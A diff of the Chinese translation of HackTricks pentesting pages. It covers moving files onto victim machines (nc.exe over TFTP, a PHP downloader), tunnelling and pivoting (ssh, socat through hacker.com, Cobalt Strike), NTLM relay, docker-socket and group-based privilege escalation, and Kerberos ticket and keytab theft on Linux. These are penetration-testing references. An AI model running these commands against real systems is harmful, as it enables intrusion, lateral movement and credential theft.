## 复制\&粘贴 Base64
## Copy\&Paste Base64
**Linux**
```bash
@ -234,9 +234,9 @@ sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
在XP和2003中默认启用(在其他版本中需要在安装时显式添加)
默认情况下 XP 2003 中(在其他版本中需要在安装时显式添加)
在Kali中**启动TFTP服务器**
Kali 中,**启动 TFTP 服务器**
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**victim** 中,连接到 Kali 服务器:
**受害者**上连接到Kali服务器:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
使用 PHP 行代码下载文件:
使用 PHP 行代码下载文件:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,7 +296,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制,`debug.exe`可以生成二进制文件。然而重要的是要注意debug.exe**组装文件大小限制为64 kb**。
`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制,`debug.exe`可以生成二进制文件。然而重要的是要注意debug.exe**组装文件大小限制为64 kb**。
```bash
# Reduce the size
upx -9 nc.exe
@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt
```
然后将文本复制粘贴到 Windows Shell 中,将创建一个名为 nc.exe 的文件。
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
{{#include ../banners/hacktricks-training.md}}

View File

@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
您需要**在两个设备上具有 root 权限**(因为您将创建新的接口),并且 sshd 配置必须允许 root 登录:\
您需要**在两个设备上具有root权限**因为您将创建新的接口并且sshd配置必须允许root登录\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
您可以通过 **ssh** 将所有 **流量** 隧道到一个 **子网络** 通过一个主机。\
您可以通过 **ssh** 将所有 **流量** 通过主机 **隧道** **子网络**。\
例如,转发所有发送到 10.10.10.0/24 的流量。
```bash
pip install sshuttle
@ -153,14 +153,14 @@ rportfwd stop [bind port]
需要注意:
- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server而不是在单个机器之间中继**
- 流量**在 Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。
- 流量**Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。
- **不需要管理员权限** 来在高端口上创建反向端口转发。
### rPort2Port 本地
> [!WARNING]
> 在这种情况下,**端口在 beacon 主机上打开**,而不是在 Team Server 上,**流量发送到 Cobalt Strike 客户端**(而不是 Team Server然后从那里发送到指定的 host:port。
```
> 在这种情况下,**端口在 beacon 主机上打开**,而不是在 Team Server 上,**流量发送到 Cobalt Strike 客户端**(而不是 Team Server然后从那里发送到指定的 host:port。
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
通过 **NTLM 代理** 进行枢
通过 **NTLM 代理** 进行枢
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -290,9 +290,11 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
**/bin/sh console**
**/bin/sh 控制台**
在客户端和服务器两侧创建证书:
```bash
@ -320,7 +322,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
它就像一个控制台版本的 PuTTY选项与 ssh 客户端非常相似)。
由于这个二进制文件将在受害者的机器上执行,并且它是一个 ssh 客户端,我们需要打开我们的 ssh 服务和端口,以便能够建立反向连接。然后,将仅本地可访问的端口转发到我们机器上的一个端口:
由于这个二进制文件将在受害者的机器上执行,并且它是一个 ssh 客户端,我们需要打开我们的 ssh 服务和端口,以便能够建立反向连接。然后,将仅本地可访问的端口转发到我们机器上的一个端口:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -341,24 +343,24 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
您需要拥有 **系统的 RDP 访问权限**。\
您需要拥有**系统的 RDP 访问权限**。\
下载:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责 **在 RDP 连接上隧道数据包**
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
在您的客户端计算机上加载 **`SocksOverRDP-Plugin.dll`**,如下所示:
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen****127.0.0.1:1080**
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen****127.0.0.1:1080**
通过 **RDP** 连接,并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
现在在你的机器(攻击者)上确认端口 1080 正在监听:
现在在你的机器(攻击者)上确认端口 1080 正在监听:
```
netstat -antb | findstr 1080
```
@ -366,9 +368,9 @@ netstat -antb | findstr 1080
## 代理 Windows GUI 应用程序
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理导航。\
**Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
**Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
**Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
## NTLM 代理绕过
@ -390,7 +392,7 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
现在,如果你在受害者的**SSH**服务设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
现在,如果你在受害者的机器上将**SSH**服务设置监听443端口。你可以通过攻击者的2222端口连接到它。\
你也可以使用连接到localhost:443的**meterpreter**而攻击者在2222端口监听。
## YARP
@ -477,7 +479,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令将解决方案暴露到互联网的工具。**\
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令将解决方案暴露到互联网的工具。**\
_暴露的 URI 类似于:_ **UID.ngrok.io**
### 安装
@ -492,7 +494,7 @@ chmod a+x ./ngrok
```
### 基本用法
**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/)
**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
_如果需要也可以添加身份验证和 TLS。_

View File

@ -21,7 +21,7 @@
### Responder 用于协议中毒
- **Responder** 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型选择性响应,主要针对 SMB 服务。
- 它预装在 Kali Linux 中,可在 `/etc/responder/Responder.conf` 进行配置。
- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 进行配置。
- Responder 在屏幕上显示捕获的哈希并将其保存在 `/usr/share/responder/logs` 目录中。
- 它支持 IPv4 和 IPv6。
- Windows 版本的 Responder 可在 [这里](https://github.com/lgandx/Responder-Windows) 获取。
@ -50,10 +50,10 @@
## Inveigh
Inveigh 是一个针对渗透测试人员和红队成员的工具,专为 Windows 系统设计。它提供与 Responder 类似的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供与 Responder 类似的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
Inveigh 可以通过 PowerShell 操作:
```powershell
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
或作为 C# 二进制文件执行:
@ -69,7 +69,7 @@ Inveigh.exe
#### 445 端口转发和隧道
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动程序加载的本地管理员访问权限可用时至关重要。
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动加载的本地管理员访问时至关重要。
PortBender 在 Cobalt Strike 中的设置和操作:
```bash
@ -87,13 +87,13 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### NTLM 继攻击的其他工具
### 其他 NTLM 继攻击工具
- **Metasploit**: 置代理、本地和远程主机详细信息。
- **Metasploit**: 置代理、本地和远程主机详细信息。
- **smbrelayx**: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
- **MultiRelay**: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
每个工具都可以配置通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
每个工具都可以配置通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
### MultiRelay 操作
@ -105,7 +105,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
这些工具和技术形成了一套全面的工具,用于在各种网络环境中进行 NTLM Relay 攻击。
这些工具和技术形成了一套全面的工具,用于在各种网络环境中进行 NTLM 中继攻击。
### 强制 NTLM 登录

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
有些情况下你只拥有**docker socket的访问权限**,并且想利用它来**提升权限**。某些操作可能会非常可疑,你可能想要避免它们,因此在这里你可以找到不同的标志,这些标志可能对提升权限有用:
有些情况下你只拥有**docker socket的访问权限**,并且想利用它来**提升权限**。某些操作可能会非常可疑,你可能想要避免它们,因此在这里你可以找到不同的标志,这些标志可能对提升权限有用:
### 通过挂载
@ -10,7 +10,7 @@
你也可以**利用挂载来提升容器内的权限**。
- **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以**读取主机文件系统**。
- 如果你想要**感觉像在主机上**但实际上在容器中,你可以使用以下标志禁用其他防御机制:
- 如果你想要**感觉像在主机上**但实际上在容器中,你可以使用以下标志禁用其他防御机制:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -20,7 +20,7 @@
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前面的方法类似,但这里我们是**挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中**访问**主机文件系统。
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> 这与前面的方法类似,但这里我们是**挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中**访问**主机文件系统。
- 在主机上运行 `fdisk -l` 找到要挂载的 `</dev/sda1>` 设备。
- **`-v /tmp:/host`** -> 如果由于某种原因你只能**挂载主机的某个目录**并且你可以在主机内访问它。挂载它并在挂载目录中创建一个带有**suid**的**`/bin/bash`**,这样你就可以**从主机执行它并提升到root**。
@ -29,11 +29,11 @@
>
> **请注意并非所有Linux机器上的目录都支持suid位** 要检查哪些目录支持suid位请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm``/run``/proc``/sys/fs/cgroup``/var/lib/lxcfs` 不支持suid位。
>
> 还要注意,如果你可以**挂载 `/etc`** 或任何其他**包含配置文件**的文件夹你可以在docker容器中以root身份更改它们以便在主机**利用它们**并提升权限(可能修改 `/etc/shadow`)。
> 还要注意,如果你可以**挂载 `/etc`** 或任何其他**包含配置文件**的文件夹你可以在docker容器中以root身份更改它们以便在主机**利用它们**并提升权限(可能修改 `/etc/shadow`)。
### 从容器中逃逸
- **`--privileged`** -> 使用此标志,你可以[移除容器的所有隔离](docker-privileged.md#what-affects)。检查技术以[以root身份逃逸特权容器](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape)。
- **`--privileged`** -> 使用此标志,你可以[移除容器的所有隔离](docker-privileged.md#what-affects)。检查技术以[以root身份从特权容器中逃逸](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape)。
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了[通过能力提升](../linux-capabilities.md)**将该能力授予容器**并禁用可能阻止漏洞工作的其他保护方法。
### Curl

View File

@ -8,14 +8,14 @@ Distroless 容器是一种只包含 **运行特定应用程序所需的必要依
Distroless 容器通常用于 **安全性和可靠性至关重要的生产环境**
一些 **distroless 容器的例** 包括:
一些 **distroless 容器** **示例** 包括:
- 由 **Google** 提供: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- 由 **Chainguard** 提供: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## 武器化 Distroless
武器化 distroless 容器的目标是能够 **执行任意二进制文件和有效负载,即使在 distroless 所暗示的限制下**(系统中缺乏常见的二进制文件),以及容器中常见的保护措施,如 **只读****不可执行**`/dev/shm` 中。
武器化 distroless 容器的目标是能够 **在 distroless 所带来的限制**(系统中缺乏常见二进制文件)下 **执行任意二进制文件和有效负载**,以及容器中常见的保护措施,如 **只读****不可执行**`/dev/shm` 中。
### 通过内存
@ -25,6 +25,6 @@ Distroless 容器通常用于 **安全性和可靠性至关重要的生产环境
#### openssl
\***\*[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是 **所需的\*\* 由将在容器内运行的软件。
\***\*[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是 **运行在容器内的软件所需** 的。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### **PE - 方法 1**
**有时****默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中可以找到一些这些行:
**有时****默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中你可以找到一些这样的行:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -14,9 +14,9 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
这意味着 **任何属于 sudo admin 组的用户都可以以 sudo 身份执行任何操作**
这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。
如果是这种情况,**成为 root你只需执行**
如果是这种情况,**成为root你只需执行**
```
sudo su
```
@ -27,7 +27,7 @@ sudo su
find / -perm -4000 2>/dev/null
```
如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo****admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定了哪些组可以使用 `pkexec`。使用以下命令检查:
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上识别哪些组可以使用 `pkexec`。使用以下命令检查:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -37,7 +37,7 @@ cat /etc/polkit-1/localauthority.conf.d/*
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
如果你尝试执行 **pkexec** 并且收到这个 **错误**
如果您尝试执行 **pkexec** 并且收到此 **错误**
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
@ -76,7 +76,7 @@ sudo su
## 员工组
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中并且它们可能会“覆盖” `/bin``/usr/bin` 中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中并且它们可能会“覆盖”`/bin``/usr/bin`中具有相同名称的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
在debian发行版中`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。
```bash
@ -146,19 +146,19 @@ debugfs: cat /etc/shadow
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
然而,如果你尝试**写入由 root 拥有的文件**(如 `/etc/shadow``/etc/passwd`),你将会遇到“**权限被拒绝**”错误。
然而,如果你尝试**写入由 root 拥有的文件**(如 `/etc/shadow``/etc/passwd`),你将会遇到“**权限被拒绝**”错误。
## 视频组
## Video Group
使用命令 `w` 你可以找到**谁登录系统**,它将显示如下输出:
使用命令 `w` 你可以找到**谁登录系统**,它将显示如下输出:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 正在物理上** 登录到机器上的终端。
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
**video group** 有权查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
**video group** 有权查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size
## Root Group
看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
**检查root成员可以修改哪些文件**
```bash
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Docker 组
您可以**将主机的根文件系统挂载到实例的卷**,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
您可以**将主机的根文件系统挂载到实例的卷**,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上为您提供了机器上的 root 权限。
```bash
docker image #Get images from the docker service
@ -223,6 +223,6 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Auth 组
在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**__**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\
这些权限可能会被以下漏洞滥用,以**提升权限**到 root[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
这些权限可能会被滥用,使用下漏洞来**提升权限**到 root[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
一台 Linux 机器也可以存在于 Active Directory 环境中。
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 kerberos 票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或 **root** 用户。
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他 kerberos 票证一样被使用和滥用**。为了读取这些票证,您需要是票证的用户所有者或 **root** 用户。
## 枚举
@ -20,7 +20,7 @@
### FreeIPA
FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了完整的 **LDAP 目录** 和 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以支持 Unix 身份验证过程。了解更多信息:
FreeIPA 是一个开源的 **替代**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了一个完整的 **LDAP 目录**一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统** 进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。SSSD 集成用于 Unix 身份验证过程。了解更多信息:
{{#ref}}
../freeipa-pentesting.md
@ -38,7 +38,7 @@ FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active
### 从 /tmp 重用 CCACHE 票证
CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便重用。
CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。为了验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便启用其重用。
使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过设置环境变量 **重用**,使用 `export KRB5CCNAME=/tmp/ticket.ccache`。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。
```bash
@ -62,11 +62,11 @@ make CONF=Release
```
此过程将尝试注入到各种会话中,通过将提取的票证存储在 `/tmp` 中,命名约定为 `__krb_UID.ccache` 来指示成功。
### 来自SSSD KCM的CCACHE票证重用
### 来自 SSSD KCM CCACHE 票证重用
SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
SSSD 在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
使用 **`SSSDKCMExtractor`** 及 --database 和 --key 参数将解析数据库并 **解密秘密**
使用 **`SSSDKCMExtractor`** 及 --database 和 --key 参数将解析数据库并 **解密秘密**
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
@ -93,7 +93,7 @@ klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
macOS上**`bifrost`** 用作密钥表文件分析工具
macOS 上,**`bifrost`** 作为一个工具用于 keytab 文件分析
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
@ -101,7 +101,7 @@ python3 keytabextract.py krb5.keytab
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## 参考文献
## 参考
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)

View File

@ -4,10 +4,10 @@
## **异常级别 - EL (ARM64v8)**
在ARMv8架构中执行级别称为异常级别ELs定义了执行环境的特权级别和能力。共有四个异常级别从EL0到EL3每个级别有不同的用途
在ARMv8架构中执行级别称为异常级别EL定义了执行环境的特权级别和能力。共有四个异常级别从EL0到EL3每个级别有不同的用途
1. **EL0 - 用户模式**
- 这是特权级别最低的级别,用于执行常规应用程序代码。
- 这是特权最低的级别,用于执行常规应用程序代码。
- 在EL0运行的应用程序相互隔离并与系统软件隔离从而增强安全性和稳定性。
2. **EL1 - 操作系统内核模式**
- 大多数操作系统内核在此级别运行。
@ -16,8 +16,8 @@
- 此级别用于虚拟化。在EL2运行的虚拟机监控程序可以管理多个操作系统每个操作系统在自己的EL1中在同一物理硬件上运行。
- EL2提供了对虚拟化环境的隔离和控制功能。
4. **EL3 - 安全监控模式**
- 这是特权级别最高的级别,通常用于安全启动和受信执行环境。
- EL3可以管理和控制安全状态与非安全状态之间的访问例如安全启动、受信操作系统等)。
- 这是特权最高的级别,通常用于安全启动和受信执行环境。
- EL3可以管理和控制安全状态与非安全状态之间的访问例如安全启动、受信OS等)。
使用这些级别可以以结构化和安全的方式管理系统的不同方面从用户应用程序到最特权的系统软件。ARMv8对特权级别的处理有助于有效隔离不同的系统组件从而增强系统的安全性和稳健性。
@ -31,15 +31,15 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
3. **`x9`**到**`x15`** - 更多的临时寄存器,通常用于局部变量。
4. **`x16`**和**`x17`** - **过程内调用寄存器**。用于立即值的临时寄存器。它们也用于间接函数调用和PLT过程链接表存根。
- **`x16`**在**macOS**中用作**`svc`**指令的**系统调用号**。
5. **`x18`** - **平台寄存器**。可以用作通用寄存器但在某些平台上此寄存器保留用于平台特定用途在Windows中指向当前线程环境块或指向当前**执行任务结构在Linux内核中**
5. **`x18`** - **平台寄存器**。可以用作通用寄存器但在某些平台上此寄存器保留用于平台特定用途在Windows中指向当前线程环境块或指向当前**执行任务结构在linux内核**中
6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须为其调用者保留这些寄存器的值,因此它们存储在堆栈中,并在返回调用者之前恢复。
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当由于调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈**并且**新的**帧指针地址(**`sp`**地址)被**存储在此寄存器**。
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当由于调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈****新的**帧指针地址(**`sp`**地址)被**存储在此寄存器**
- 此寄存器也可以用作**通用寄存器**,尽管通常用作对**局部变量**的引用。
8. **`x30`**或**`lr`** - **链接寄存器**。它在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时保存**返回地址**,通过将**`pc`**值存储在此寄存器中。
- 它也可以像其他寄存器一样使用。
- 如果当前函数将调用新函数并因此覆盖`lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp``lr`,生成空间并获取新的`fp`)并在结束时恢复,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复`fp``lr`并返回)。
9. **`sp`** - **堆栈指针**,用于跟踪堆栈顶部。
- **`sp`**值应始终保持至少为**四字对齐**,否则可能会发生对齐异常。
- **`sp`**值应始终保持至少为**四字**对齐,否则可能会发生对齐异常。
